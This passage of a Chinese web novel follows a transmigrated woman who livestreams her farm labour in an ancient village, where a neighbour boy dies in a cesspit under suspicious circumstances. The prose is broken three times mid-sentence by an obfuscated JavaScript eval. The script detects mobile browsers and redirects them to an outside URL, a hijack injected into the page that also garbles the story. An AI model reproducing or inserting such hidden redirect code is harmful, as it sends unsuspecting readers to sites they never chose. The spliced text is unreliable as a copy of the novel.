《在古代直播打工赚钱的那些日子》 2. 我在古代打工第二天 一群人在直播间喊得欢,打赏的却没几个。苏扶缨骑着老牛,面朝黄土背朝天地干了好几个时辰,也没挣着几个钱。 反而累得腰酸背痛。 犁完地,停了直播。 苏扶缨的短视频账号涨粉100+,毕竟是第一天直播,能够涨粉有这个数量,已经是十分不错了。 刚关闭直播间,系统就十分利落地给了她直播报酬,两文钱。 苏扶缨摸出神奇地凭空出现在自己兜里的两文钱,颠了颠。 她瞪眼,“你开什么玩笑呢,心居然比地主还黑啊,人家好歹还给我粥和烧饼,你告诉我你这两文钱能买啥?” 系统道:“那只能怪你自己,吸引不了粉丝给你打赏,你自己这场直播就挣了两文钱。” 苏扶缨眼皮跳了跳:“胡说!我明明看到不少人打赏了,怎么也有两三百!” 系统道,“报酬自然不是全给,我们也是要抽成的,能给你百分之一的分成你就笑吧。” 好气。 苏扶缨:“……” 能打人吗?不能。能撂挑子不干吗?不能。 真的好气。 上辈子被系统剥削,这辈子被系统剥削。除了系统给钱比上辈子的老板给钱更爽快,不拖欠工资之外,都是一样的黑心肠。 犁完地,早已经日落西山。苏扶璎把牛还给地主高禄,得到了报酬,烧饼和稀粥。粥有两碗,稀的能够看得见碗底,粥米糙得很,吃起来有很明显的粗糙颗粒感,甚至还能吃到谷壳碎片,拿到现代喂狗估计狗都不吃。 苏扶璎当场咕噜噜地就喝掉半碗,没有缓解半分恶意,只觉得肚子更难受了。 就像是一只装满水的水桶在乱晃。 她尝试问高禄,“能否再多给一碗?这粥如此之清,跟喝白水没啥区别,压根喝不饱。” 这个要求自然是被高禄果断拒绝,他挥挥手,面带嫌弃道,“你吃不饱与我何干?拿了吃的滚一边去。” 这语气,总让苏扶缨觉得高禄就像是在打发叫花子。现代的流浪汉在街上敲敲碗,估计也不会只得到两文钱、稀粥和胡饼。 苏扶璎道:“地主,这么重的活儿,两碗粥一个饼压根吃不饱!”高禄瞥她一眼,冷笑道:“这活你要是不干,有的是人干!” 瞧瞧这话怎么如此熟悉呢,多像二十出头那些年,领导指着她的脑门说,“三千一个月工资,就这么多,多一份也没有,你不干有的是人干。” 她回头看,门口挤着成千上万的应届毕业大学生,都在为了这几千块钱一个月的工作来回奔走。 她惊叹:哇,天呢。这种破工作她没文化都不想干,居然一堆大学生抢着干! 也就是苏扶缨现在这份犁地放牛的工作,报酬低工作累,也多的是人虎视眈眈,她不过也只是现在年轻力壮,才得到了这份糊口的工作。等着她随时撂担子,随时有人顶替上来。 苏扶璎没有办法,只得端着剩下的一碗稀粥,走出了地主家,咬一口下去很咯牙,非要说个口感,大概是在咬皮带。她走着走着,蓦然发现有点不太对劲,低头一看发现左脚的草鞋破了个洞,鞋尖和露出来的脚趾头都带着泥。 苏扶璎冷笑一声。 心里开始庆幸还好这不是个冬天,否则还不得被冷死? 不对,她死不了,顶多是冷晕过去,醒来之后再被冷晕。这么一想,好像更惨了。其他人实在是活不下去了,还能够选择随时了绝自己的生命,也算是一种解脱。 她倒是惨,连死都死不了。 苏扶缨拖着疲惫不堪的身体从地主家走回自己家,明天又是这样反复的一天,早起休息,中午放牛,晚上天黑了,蜷缩在家里睡觉。至于为何早上不干活?只因为地主家住在镇上,苏扶缨住在村里,她先步行去地主高禄家,牵着牛拖着犁,再去地主家的地里,路程之远,来回就得一个上午。 她突然觉得这种生活实在是没意思。 人活着究竟为了什么?这么辛苦,好像也没有什么意义,还得忍气吞声被压迫和剥削。 她愤愤不平咬着饼,咬完半张还剩半张,剩下的一碗粥也没舍得喝,毕竟明天还得干一天活才能有饭吃,留点东西等饿极了吃,总是好的。 苏扶璎端着碗,把剩下半张饼踹进自己的口袋里,叹了口气。她也不懂,明明今天都已经很努力干活了,也没有偷懒,可是为什么依旧连温饱都做不到? 她走着,来到村头,发现那儿聚集了不少难民,他们是不一样的人,却又几乎一模一样。 一样的脸,枯黄且黑,一样破旧的粗布衣衫,补丁摞着补丁,头发如枯草般蓬乱,脸上蒙着一层厚厚的尘土,衣服完整得很少,基本上都是碎着,撕裂成参差不齐的布条,在风中晃。 苏扶璎瞥了一眼,不知这群人从何而来,只知道他们无家可归,应是哪里流窜过来的难民。 她匆匆瞥那一眼时,对上一双眼。那双眼的主人是个小孩子,头发乱糟糟地纠结在一起,像一团废弃的麻绳,浑身脏兮兮地,唯独那双眼睛还清亮着。 小女孩见苏扶缨看她一眼,她便用那种直勾勾的眼神紧紧盯着她,眼神似乎带着期待,就像是宠物店里的宠物,在祈求主人的垂怜。 世界上有很惨的人,但是也有更惨的人。她好歹还有工作,有一间茅草屋避风,但也有人,连睡的地方都没有。只得到处流浪,四海为家。 女孩跟着奶奶,从北方一直南下,不知走了多少路,吃了多少苦,只知道她弟她姐她妈妈,都死在了逃亡的路上。 他们来自北方一个小村落,今年大旱,又逢瘟疫,生活实在是难过。 朝廷对此放任不管,也许有些许赈灾粮拨下来,也被地方官员一层层地剥削了个干净。 但实际上朝廷也并不打算治理,若是水灾,那不治不行,容易引发蝴蝶效应,祸及周边,水灾淹没土地农庄,容易让百姓成为流民,危害性大。 但旱灾瘟疫就容易多了,放任他们一波人全死了不就好了么?连同瘟疫都能彻底消失。 患了瘟疫的,没出村口就死了。瘟疫也的确没了,只不过旱灾还不至于让他们抛弃家园成为流民。 除了旱灾这个原因之外,主要还是地主剥削,农民旱灾交不起粮食?通通被地主乱棍暴打一顿。 地主合法对被雇佣的普通农民持有惩罚权,只要不打死就没事儿,就算实在不小心失手打死,也并不要偿命,只需要杖三十棍,挨下来了仍然是一条好汉。 农民要干活,吃不起饭,还得被打,于是便集体南下了。 奶奶一路上对女孩说,若是看到有人怜悯你,多看了你几眼,你就使劲盯着她的眼睛,说不定别人心软,就把你收下来了。收下来做什么?被指使去干活还是怎样不重要,重要的是能够有口饭吃,能够活下去。如何活着也不重要,人都只为了活着,人只要活着就有希望。 女孩把话都听了进去,她看到苏扶缨手里的那碗粥,吞了吞口水,干涩的嗓子里像是丢了一把沙子,刺得嗓子眼生疼。 苏扶璎只瞥了一眼,便淡淡地收回了目光。因为她知道自己什么都做不了,她并非大爱之人,也不是圣母,更没有帮助别人的能力。现在连自己都养不活,有什么能力去可怜其他人?怎么配对他人拥有怜悯之心? 苏扶璎目不斜视,直接走进村口,一直来到自己家。蜷缩在家里的草席上,累到快晕了过去。她也的确睡着了,还做了个梦。 上辈子,她是个孤儿。出生八零年代,家里穷且重男轻女,父母在她还没有什么记忆的时候,就直接把她丢垃圾桶旁边就走了,是一个捡废品的老太太把她捡起来,否则她估计早就死在了两岁那年的寒冬。 老太太养她到了十岁就过世了。苏扶缨守着老太太的废品站,靠捡废品生活,没几年她便开始打工,受尽白眼和冷嘲热讽。 但那又怎样?她还是挣了钱,买了新房子,有了不少存款,足够让她未来不用继续到处奔波,拼了命地打工挣钱,足够她躺平剩下的几十年。 结果刚辞职回家,打算好好睡一觉,从此化身一条咸鱼坐吃等死,刚醒来又变成了十几岁的穷光蛋。 上辈子打工于她而言,仅仅只是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358587|168039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活着,她没钱,也不在乎尊严,她也没有什么特别伟大的志向,为国为民什么的压根没办法在乎,她只想着能够养活自己,独善其身,不做善事不犯恶。 谁也别想从她身上捞得哪怕一点善意和施舍。 可为什么,今晚她却还是梦到了那双眼睛? 在村头看到的那双期待的眼睛。 只不过梦中那双眼睛的主人并不是那个孩童,而是突然变成了她自己幼时的脸。 苏扶璎晚上做了个噩梦,直接被吓出了冷汗。第二天天没亮,她就醒了,做噩梦是一个原因,被屎憋醒也是一个原因。 她凭借着记忆,捂着肚子,一路跑到记忆中的茅坑处,傻眼了。 所谓茅坑,不过就是在露天里挖一个坑,人就直接站在坑边拉屎,下有一条小道,直通到隔壁张英家的猪圈,全村人拉的粪便都喂给张英家的猪吃。 张英是村里的养猪大户,也是村里唯一建得起茅房的人。 起初着茅坑是全露天的,只不过有几次突发大风,把正在坑边拉屎的人吹了下去,一个不幸溺死在粪坑里,另外几人被发现救了上来,身上的粪味足足两个月未能全散去。 实在可怕。 张英这才掏钱在坑边盖了几个砖头做墙挡风,至于屋顶是完全没有的,若是在下雨天时跑过来拉屎,那要么就努力憋着,要么就一边淋雨一边拉。 苏扶缨站在距离茅厕好几米的地方,就直接停下了脚步,隔着这么远的距离,都还能够闻得到若隐若现的屎臭味。 如果她是土生土长的古代人,说不定没有一点犹豫就直接上厕所了,但是她上辈子是生活在现代几十年了,虽说上辈子过得很苦,但是也不至于在这种地方上厕所,臭不臭的先不计较,首先你得有个盖吧。 只不过她现在还是现代人思想,像这个村子里面的人,那个温饱就已经困难了,有个地方上厕所都谢天谢地,哪还有空去顾及羞与不羞之事? 在苏扶璎犹豫要不要过去上厕所的时候,黑暗中突然有人喊了她一声,“苏大哥!” 她心道,这人谁啊。仔细辨认了一下,认出是邻居朱家的小孩朱小九。一周前最先发现她跳河的人,也是围观人群中唯一一个真心担忧她到底死没死的人。 苏扶缨摸了摸鼻子,总觉得在茅房里谈话是一件实在是太诡异的事情,但是她还是忍着臭意没走。 “啊,是你啊小九。” 朱小九的眼睛在黑夜里亮得吓人,他招呼她,“苏大哥,一起解手啊!” 快来一起拉屎吧! 苏扶缨尴尬笑了笑,原有的屎意硬生生被她憋了回去,实在没办法,这种地方让她拉屎真的拉不出来一点。 她挥挥手,“你自己拉吧,我走了。” 朱小九“哦”了一声,语气里有明显的失落,“那好吧,以后有空的话一起……” 苏扶璎“好的好的”敷衍他,头也不回地重新回家了。 苏扶缨回了家,不去想上厕所的事情,果真还真的忍住了。她猜测也许是肠道又重新吸收了一遍她的……嗯,算了,不能细想,细想实在太恶心,她会吐。 次日一早,苏扶缨早早就醒了,伸了个懒腰,又是要上班打工的一天。她从兜里掏出昨天半个没吃完的胡饼,饼的口感更差了,从皮带变成了橡胶轮胎。粥也是,沉淀一夜之后,更清澈了,一口喝下去,混着一只蚊子尸体,她捞出来,丢掉,仰头灌了两口,仿佛带上痛苦面具。 馊的。 这破日子,真是没法过了。 苏扶缨从草席上爬起来,把盖在自己身上的稀疏稻草拿开,“咯吱”一声推开木门,心道:可真又是想死的一天啊! 却又听到隔壁一阵哭喊声,“我的儿啊,你怎么就死了!” 莫名其妙死人了?谁死了? 苏扶璎知道这是个乱世,人命如草芥。但毕竟芯子还是现代人,自己想死和听到其他人死还是不一样的。 她的心未免还是触动了一下。 围观的人不少,她也跟上去,往人群中心看过去一眼,全身血液瞬间僵住。 3. 我在古代打工第三天 是朱小九的身体。 朱小九死相格外凄惨,他的小脸扭曲,双眼圆睁,嘴巴张着,小手蜷缩在身侧,指甲缝里塞满了黑泥,指关节泛白。 更凄惨诡异的是,他全身裸露着,衣服还在粪坑里,没捞上来,浑身上下都沾染了秽物,散发出的恶臭弥漫四周,引得苍蝇嗡嗡乱飞。 苏扶缨虽然说一直都在想死,但是实际上从小到大的就没有见过多少次死人,对死并没有太大的畏惧和概念。 她这还是人生第一次见真正见到死人,准确来说,是两辈子第一次见过。上次见死人,还是收养她的老太死去时的样子,但老太是自然死亡,死的时候的样子其实跟睡着了没有什么太大的区别。 而朱小九的死相,光是看一眼就足够能够让人做噩梦的程度。 尸体冲击性实在是太强烈,苏扶缨有种想吐的感觉,只是她都强忍住恶心,就为了多看他两眼,企图借这个机会,和他做出最后的告别。 朱小九于她而言,没有太多的感情,毕竟两个人不过就只有短短两面之缘,但苏扶缨还是感觉到难过,心脏有一种抽疼的感觉。 应该是属于原主对他的感情。 这幅身体自动做出的反应。 其实在苏扶璎没穿越过来之前,原主和朱小九关系挺好的。 朱老三家算得上是本地比较富裕的,起码能够吃得饱饭。苏扶缨家则是一等一的贫农,时常吃不饱饭,经常只能吃野菜树皮之类的东西。 苏扶缨十几岁,朱小九八岁,两人家境年龄导致他们应该没办法玩到一起去,但他每天跟在她身后,一口一个“苏大哥”地喊。 朱小九曾经神神秘秘地跟苏扶缨说,“苏大哥,其实我知道你是个女孩,跟我姐姐一样。”他叹一口气,说,“我想我姐姐了,但我知道姐姐永远不会回来了。” 苏扶缨在外人看来他是个男丁,但是实际上她是个女娃,只因为了不被欺负,才从小以男子身份存活。 苏扶缨吃惊:“你怎么看出来的。” “我曾经有姐姐呀。”朱小九俏皮一笑,食指放在嘴边,轻轻“嘘”了一声,“不过你放心,我不会告诉其他人听的。” 朱小九是真把她当亲姐姐看待的。 去年冬天,苏扶缨的家人全死了,一个十几岁的女娃,在这样的世道如何活下去?能从冬天撑到今年夏天,除了继承自己父亲的工作,给地主家放牛之外,还有部分原因是因为朱小九。 他偶尔会给她一点东西吃,有时候是一些蘑菇萝卜,有时候是饼和热粥,虽然每次只有一点点,毕竟是从家里偷拿出来的,但是这点东西也让苏扶缨吊着一口气,撑着多活了大半年,直到今年夏天才彻底咽气。 除了原主对他有不舍,苏扶缨本人也有。 毕竟她第一次自杀时,是他在,昨晚他也在,热情真诚的样子让她对他讨厌不起来。 人本就是有感情的动物,她还是没忍住难受和心疼。 连她这个外人都忍不住难过,就更别提他的亲生父母了。 他的父母倒在他身旁哭嚎着,围观的人大部分依旧都冷静又冷漠,表情就跟那天亲眼目睹她自杀一样冷静,只因死亡毕竟是一件寻常事。 有几个安慰道: “节哀吧,不小心掉进粪坑里,也是意外的事。” “是啊,张英家那茅坑不是经常掉人进去么。” 朱小九父亲朱老三哭道:“是啊,是啊!昨天晚上我就应该陪着他一起去上厕所的,我应该在他喊我陪他一起去的时候,我该就陪着他的,不应该放他一个人去。我本来想着之前有人掉下去,只是因为当时张英家的茅坑没建墙,挡不住风,但我不知道已经建了墙还会有人掉下去!” 朱老三痛心疾首地用拳头使劲地砸着自己的胸口,用力扯着嗓子哭嚎,“我太傻了,真是太傻了!我太后悔了,我的儿啊,父亲对不起你。”他说着说着,掉下两行泪。 反倒是旁边朱小九的母亲朱娘,哭红眼之后,整个人呆滞住,和朱老三两个人形成了格外鲜明的对比,一个用力嚎着,哭声震天响,一个安静着,呆滞着,七魂六魄仿佛都已经消失,不知飞往什么地方去了。 朱娘没有名字,她是被卖来这儿的。一开始她还记得自己的名字,只是自从嫁给朱老三之后,随夫姓,但凡是认识她的人,都叫她朱娘。 起初她还会纠正过来,只不过身边人却也依旧这么叫她。后来渐渐地,她自己都忘记自己的姓氏了。 朱娘有九个孩子,从十五岁生到二十六岁,几乎一年一个。前八个都是女婴,夭折、病死、丢掉卖掉,只剩下一个孩子,就是朱小九。现在这唯一的孩子,都离她而去。对一个母亲来说,打击是巨大的。 她起初的确以为朱小九掉进粪坑这件事情,只是一场意外,但是在听到朱老三刚才那痛心疾首懊悔的样子,她突然就懂了什么。 朱娘表情无比麻木,只剩下两只死鱼般的眼睛在瞪着,她眼神缓缓从朱小九身上移开,落到了朱老三的身上。 她缓缓想起这些年,她接连死去、离她而去的所有孩子们的悲惨遭遇。 老大老二早夭,老三活下来了,养到四岁,被朱老三带到街上,他说给老三买面条过生日,后来却是独自一人回来的,哭着说老三被拐子拐跑了。 在这个时代,为女则卑。 女婴被拐卖后,绝大部分都是被贩卖为奴婢,供人驱使,从事各种繁重的体力劳动,甚至遭受主人的打骂。更凄惨些,还会被贩卖到青楼等场所,被迫沦为娼妓。 朱娘抑郁了大半年,成日以泪洗面,后来老四老五双胎而生,她都带在跟前,形影不离的带着,却时运不济碰上大旱年,老四老五病死,死那年还不满八岁。 老六老七则是朱老三终于不装了,当着朱娘的面,说要把她们卖了换钱。 朱娘拼死护着,朱老三才没能下手,但是防得了一时,防不了一世。 在朱娘刚生产下朱小九的那个晚上,传来噩耗,她的两个女儿被朱老三换了十石大米。 至于老八,则在去年被朱老三亲手送给了官老爷做妾。 这些年,他们朱家能够吃得饱饭,实际上都是因为吸了朱娘辛辛苦苦剩下几个女孩身上的血! 朱娘早在那年便彻底醒悟过来,朱老三此人,是个不折不扣的冷血动物,是个畜生!畜生是没有心的,又怎么会难过呢? 朱娘几乎是一瞬间就意识到了事情的问题所在,她心中浮现出一个可怕的猜想,抽了抽嘴角,露出了一个可怖又扭曲的笑容。 下一秒,她不要命似的,直接朝着朱老三所在的方向扑了过去,像一只发疯的野兽,眼睛红着,嗓音尖锐又嘶哑,拼了命地抓他,“你个畜生,你个畜生,我儿子就是被你害死的!你告诉我,为什么,为什么连一个孩子都不愿意留给我,你已经害死了我这么多孩子,为什么这次连小九都不放过,他可是你的儿子啊,他可是你的亲生儿子!” 朱老三的脸瞬间被抓烂,脖子处手臂上,全是红痕。她的力气之大,好几处的伤口不仅破皮,甚至还沁出了血珠。 朱老三一抬脚,用尽全力把扑在自己身上的这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358588|168039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疯女人给一脚踹开。女人就像一个轻飘飘的塑料袋,被轻松踹得飞出一米多远,像后背撞到墙上才堪堪停住。 苏扶缨回头看了一眼,朱娘撞上的正是她房子的墙,她皱眉,很快意识到朱小九昨天晚上掉进粪坑死亡这件事情,绝对不可能是意外这么简单。 主要是他父母的反应实在是太不对劲,正常人当自己儿子死掉的时候,应该是伤心更多,夫妻是现在有恩怨在这个时候,先把矛盾放下来,处理完自己儿子的身后事再说。 怎么会是现在这样? 朱娘口口声声哭喊着说有内情,又会是什么内情?难不成朱小九的死亡,真的跟朱老三有关? 但在场的人基本上都只认为是朱娘疯了。朱娘经常发疯,这事儿他们也是知道的,时常在深更半夜的时候,在村里晃荡,嘴里念着她所有孩子的名字,其实是梦游,但大家不知道这种症状叫做梦游,都只觉得她疯了。 此时也绝对是疯了。 毕竟张英家那个茅坑,也的的确确掉进去过不少人,所以说现在已经建了墙大风没办法把人刮下去,但是毕竟天黑,朱小九是不是不小心踩空了掉下去的也不一定。 再说了,谁会莫名其妙谋杀自己的亲儿子,真是疯了不成? 众人劝架,“你们的儿子发生了意外,我知道你们伤心欲绝,但这种情况下何必吵架,何必打架呢!” “先让小九安息吧!” “就是啊,先带小九去乱尸山!” 他们死了没办法找地埋,他们没有自己的地,只有地主才拥有土地。这儿的人死了,有钱的攒钱买块地埋了自己,能放得下一个人这么大就行,没钱了就直接抛尸在村后的那块山上。 那叫乱尸山,躺着这儿的祖祖辈辈。 生时清清白白,死时一无所有。 早些年上山砍柴时,左脚踩着走路,右脚踩着断手都是常有的时,后来死的人多了,抛尸的人也多了,渐渐地都不敢有人上山了,那儿的山便荒废着。 乱尸山,只进死人,不进活人。 有一种说法是,被抛去乱尸山上的人,下辈子不能入轮回,只能化为孤魂野鬼,终日飘荡在山上,游离在世间。 只有正经下葬,立坟之人,才能入冥界过奈何桥步入轮回之路。 “他死了都不配有块地吗?”朱娘疯了似的吼,“是你害死的他,你就不怕他回来锁你的命!” 朱老三痛哭道,“朱娘,你怎么能如此想我?小九是我的孩子,他死了我比谁都要更加的难过,我也想让他好好下葬,但未成年的孩童,是不能够立坟的呀!” 苏扶缨心一惊。 竟还有这种说法!她猜测,单纯只是觉得,当初最先提出这个说法的人应该只是认为单独给一个小孩买块地,不是一件多么值当的事情,便编造了这么个耸人听闻的说法,于是一代代流传下来。 她看到这里,终于还是没能忍住自己威力的翻腾汹涌,恶心的味道直奔天灵盖,转身跑出老院,捂着肚子扶着墙,开始控制不住的吐了起来。 刚才吃下去的稀粥和烧饼,全部吐了个干干净净。实在是没东西吐了,就开始吐胃液和胆汁。 她抬手擦干净嘴,腿已经控制不住地发软,她支撑着身体,勉强站起身来,决定还是不去深究这事儿。 她的力量还是太过于弱小,即使知道朱小九的死亡有内幕,那又如何?她也管不了。 苏扶缨扶墙走了几步。 但她还是控制不住地往后看了一眼。 正巧对上了朱娘遥遥望过来的眼睛。 4. 我在古代打工第四天 朱娘的目光带着浓烈的充满祈求的、可怜的色彩。 她的眼神似乎在说:帮帮我。 苏扶缨被这样的眼神盯得浑身一僵。 在场明明有这么多人,为什么朱娘就只盯着她一个人看,难不成是想让她帮忙吗? 她脚步停滞住一瞬间,心脏像被一根无形的线缓缓吊起来,却又很快塌下去。 人在乱世,能够活下来就已经不容易。 情感告诉她,朱小九曾经帮助原主很多,和原主有挺深厚的感情。 既然这幅身体曾经承过朱小九的恩,那么现在他死了,她再怎么样也得为他做些什么。 但是这种“妇人之仁”也只是短暂出现了一瞬间,很快又彻底消失了。 理智更占上风。 苏扶璎明确知道自己现在身处在什么境地。 她刚来到这个陌生朝代和陌生的地方,一无所有,是个女子就算了,今年不过才十六岁,还是个半大的孩子。 关键是从小营养不良,她人长得瘦弱,没有什么背景,能够让明哲保身就已经很困难了,怎么可能帮得了朱娘,又怎么有能力去帮朱娘查清朱小九真正的死因究竟是什么呢? 虽说她被系统控制,有死不了的这个bug,但是也正是因为死不了,所以才更害怕。不是说像这种朝代,习武之人很多吗,还有各种杀手,各种阴谋诡计。 若是朱小九的死亡真有什么蹊跷,能够如此狠毒手段弄死一个人,背后势力应当也是很强悍的。 她说不定帮不了忙,还会把自己卷入进去。若是落入坏人手中,不停折磨她,想死又死不掉,那是一种怎样的折磨? 苏扶缨不敢去想。 她其实并不怕死。 但痛苦地活着比死了更可怕。 她也很怕疼,之前她自杀的时候,每一次都是钻心的疼痛,只是想着忍忍死掉就好了,所以才心一硬,狠心自残。 现在她既然已经死不了了,她便只想好好活着。 明哲保身,好好苟着,努力工作,努力攒钱,而后找个幽静偏僻的地方隐居。 所以…… 朱娘啊,别用那种求助性的眼神看我。 苏扶缨不愿意参与半分,生怕卷入其中,受尽折磨。倘若她能死,一死百了也挺好,但她偏偏死不了,一旦失足掉下深渊,她解脱不了,等待她的将会是无尽的折磨。 也并非她阴谋论或者是冷血。倘若她皮下是一个十几岁的热血青年,她应该会对朱娘伸出援手。 但她不是。 她皮下是一个三四十岁的女人,上辈子的她从小是孤儿,虽被收养过,后来却也依旧流浪了多年、孤苦无依摸爬滚打多年的人。 她上辈子受尽白眼和欺辱,吃了很多苦,一腔热血早就彻底被磨尽,也明白许多道理。 当一个人没有能力的时候,还是尽量不要多管闲事,否则帮不上忙不说,说不定还会惹一身骚。 有句老话说得好:一朝被蛇咬,十年怕井绳。她上辈子吃过太多亏,早就不再热血,而是彻底成为了一个冷漠的看客。 苏扶璎如今只想自保,就这么平平淡淡地当自己的放牛娃,乖乖给地主干活,以及直播挣钱。 每天给地主干活,就能够有饭吃,每天努力直播,就能每天攒下两文钱,运气好的话,说不定还能够在直播间里遇到几个金主,说不定每日靠直播收入还能有十文。 勤勤恳恳干几年下来,说不定她就能够攒下一小笔钱,改善一下自己的生活…… 至于其他人其他事,就跟她没有任何关系了。 她没有什么特别大的梦想,也没什么志向,不愿给他人惹麻烦,最好别人也不要来麻烦她。 苏扶缨无视了朱娘投过来的那些求助性的眼神,转身往地主高禄所在的方向走了过去。 她心里默念了一句:朱小九,对不起,你一路走好。 世界上的人悲喜并不相通,朱门酒肉臭,路有冻死骨。 今天对于朱小九的家人来说,是十分悲痛的一天,但是对于其他人来说,今天是格外稀疏平常,且普通的一天。 依旧得干活,依旧得为了吃穿发愁。 苏扶缨也和往常一样,给地主高禄犁地或者放牛。 她轻车熟路地前往地主高禄家,牵了一只老黄牛。老黄牛都认识她了,看到她出现,对着她哞哞叫了两声。 昨天苏扶璎还有心思去逗它笑一笑,开它玩笑说,“兄弟,干活去咯。”甚至还有心情唱歌。 到今天她倒是说不出笑话来了,心情十分沉重。 若是某个人,明明昨天晚上还十分鲜活地出现在你面前,甚至还跟你说过话。你和他感情也挺不错。 第二天一早却得到对方去世的噩耗。 这换成谁,估计都会因为这件事情耿耿于怀的吧。心里也会很失落很悲伤。 苏扶缨现在就是这种状态,除了有点伤心和遗憾,她心里也浮现出一种兔死狐悲之感。 她更宁愿朱小九的死是意外,虽说直觉告诉她,大概率不是。可她不敢细想,若细想下去,就会发现这件事情十分可怕。 若这不是意外,那究竟是什么人,能够如此神不知鬼不觉地杀害朱小九,又是什么丧心病狂的人,竟会对一个八岁的幼童下手?杀人凶手是否就在村子里潜伏着,会是谁?他会不会对下一个人动手? 又或者说,下一个,会不会是她苏扶缨? 苏扶缨不敢想,只觉得呼吸困难,十分可怕。她想死,很想死,若是能死,她现在估计直接就悬梁自尽了。 但她死不了。 怎么死不了啊,为什么死不了啊。 苏扶璎心情十分复杂,全程丧着张脸,沉默地牵过黄牛,带着遮阳斗笠,苏扶璎走出了地主家,走出了地主家。 决定带着老黄牛去附近的矮土山找嫩草吃,下人一般只能从后门出后门进。 苏扶缨牵着黄牛,从地主高禄家后门出去时,迎面撞上几个人。 每个大人手里牵着个孩童,衣服是最下等的麻布料,脏的,且有补丁。 领头那个模样看上去三十多岁,衣服干净整洁,道:“我先带你们进去洗个澡。等进去见了我家大人,记得恭敬些,好好表现。若是被我家大人看中收入府中,你们也算是飞黄腾达了,以后都能够过得上好日子,不用愁没饭吃,懂吗?” 苏扶璎牵着牛,跟那一行人擦肩而过时,她实在是没忍住偏头看了一眼。 那群身着麻布衣服的人,看起来颇为眼熟的样子,仿佛在哪里见过。 直到再次对上人群中那双清亮的眼,苏扶璎这才猛然记起来。 这些人不就是昨日汇集在村口处的那波难民吗?而那双眼睛的主人,就正是昨天同她有过一面之缘的女孩儿。 昨天苏扶缨匆匆看了一眼,目测聚集在村口处的难民少说也有五六十人,却没想到此时部分难民居然会出现在地主高禄家。 领头的那人,苏扶缨倒是没见过。 她继承了原主的记忆,努力检索了一下脑中的记忆,发现自己的确不认识这个人,无论是她,还是原主,对他都没有一点儿印象。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358589|168039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 原主在高禄家干了半年活,见过他家中大大小小的不少下人,就没见过此人。 该不会是新招进来的下人? 这种难民,一般人都避之不及,生怕把他们惹急了,会对自己造成什么不太好的影响,那高禄又为何会把难民带入家中? 而为何又是从后门进。 看领头那人的模样,穿着打扮都不像是普通下人,这样的人也从后门进? 更何况……难民能够进入高禄家中,也是一件十分离谱的事情。 像高禄这种一文不拔的铁公鸡,他怎么可能也舍得发善心接济难民?他连多一碗稀粥都不愿意给的人,决不会会有此等好心…… 不过,谁知道呢? 总之和她无关就对了,人不要知道太多的事情,才能够活得长久。 苏扶缨现在只想着好好放牛,领粥吃饼。 没错,她就是这么个小小咸鱼…… 苏扶缨牵着老黄牛前往矮土坡,土坡外是另一个村子,两个村子紧紧挨着,以这个土坡为界限,隔开两个村寨。 矮土坡只是个名字,是个半高的山,走半个时辰就能登顶,没什么高树,小部分是半人高的树,绝大部分是嫩草。 也是放牛的绝佳好地点。 两个村落的人,都商量好一起在这儿放牛。 苏扶缨今天没心情开播,情绪不佳,但是她不是那种因为心情不好就耽误自己赚钱的人。 直播挣钱干大事,这才是她最重要的任务。 讨好观众们,才能够挣钱,从而更好地改善自己现在的生活。 于是苏扶璎准备掏出了藏在她衣袖里的玉牌,在她掏出玉牌准备开启放牛直播的上一秒,听到了两个人对话的声音。 那两个人也是给地主放牛的,都是男性,一个老些四十出头,另外一个跟苏扶璎差不多年纪。 年轻的道:“枕霞村也死人了。” 老些的猜测道:“男童?” “是啊,幼童,男性,这已经是第几个了,不清楚,我们青岩村前段时间已经莫名其妙死了七八个,现在轮到枕霞村了,真晦气,总感觉这绝不是意外。” “那能咋办?三娘半月前告去官府,官府就说这只是意外!意外落水而亡,非但没有得到补偿,甚至还被罚钱了。” 他没说完的是,官府在百里外的清溪镇上,来回至少三天,三娘不仅没能讨得公道,反而背上一身债。 没几天三娘便悬梁自尽了。 “怎会如此?”年轻地惊呼出声,“这又是如何判的?” “三娘家的幺儿掉入的,是隔壁枕霞村地主高禄家的私人鱼塘,没证据证明是谋杀,就只能是失足掉落。怎么会掉进私人鱼塘处?那肯定是偷鱼,自然就要补偿了。” “这不是乱判吗?” “如何判,还不是看他们究竟有没有良心,我们没权利跟官府斗啊。” “呵。”年轻男人轻嗤一声,“一个两个是意外还好,这么多难不成都是意外?官府不过只是睁一只眼闭一只眼,办事效率如此之低,纵容罪犯,以后谁都能胡乱杀人了,反正都揪不出来!” 老人讽刺一笑:“那倒不是,上次胡生放牛,意外踩烂隔壁富户家的几株秧苗,不还是不出三日就被找出来了,赔不上钱,胡生被足足打了七大板子,办事效率高得很!” 